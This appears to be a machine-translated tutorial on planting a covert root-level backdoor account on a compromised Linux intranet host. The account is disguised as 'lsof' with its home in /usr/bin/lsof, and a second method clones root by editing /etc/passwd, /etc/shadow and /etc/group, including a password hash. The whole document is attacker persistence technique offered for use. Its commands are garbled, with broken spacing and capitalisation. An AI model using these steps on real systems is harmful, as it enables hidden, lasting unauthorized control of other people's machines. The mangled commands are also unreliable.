In linux, we use useradd to add users. However, this process is complicated and complicated for users to add permissions, the useradd command I introduced here can quickly add a root Super administrator and set the PASSWORD command. I hope it will be helpful to you.
Adding an account to the Intranet machine with the privilege escalation without the ECHO will make it difficult to set the password. The following is a command to add a root-level account and set the password.
Useradd-p 'openssl passwd-1-salt 'lsof'admin'-u 0-o-g root-G root-s/bin/bash-d/usr/bin/lsof lsof
Command explanation
Useradd Add User
-P'openssl passwd-1-salt 'lsof 'admin' indicates setting the user password. The lsof in it is similar to the key and can be written at will, admin is the plaintext Password
-U 0-o adds a user with a uid of 0 to the root level.
-G root-G root: add the user to the root group
-S/bin/bash: Specifies the shell path of the new user.
-D/usr/bin/lsof: Create the user's home directory, which can be customized.
Username of the user created by lsof
Ii. Clone an account
Of course, we can use the clone technology to directly create a root account.
Create common user system
# Useradd system
# Passwd system
Add root shell
# Vim/etc/passwd
System: x: 0: 0: root:/bin/bash
# Vim/etc/shadow
System: $1 $ OULjNnw/$ kAyt7S. RzTJwSwllflI3F1: 14921: 0: 99999: 7 :::
Add to root group
# Vim/etc/group
Root: 0: root, systems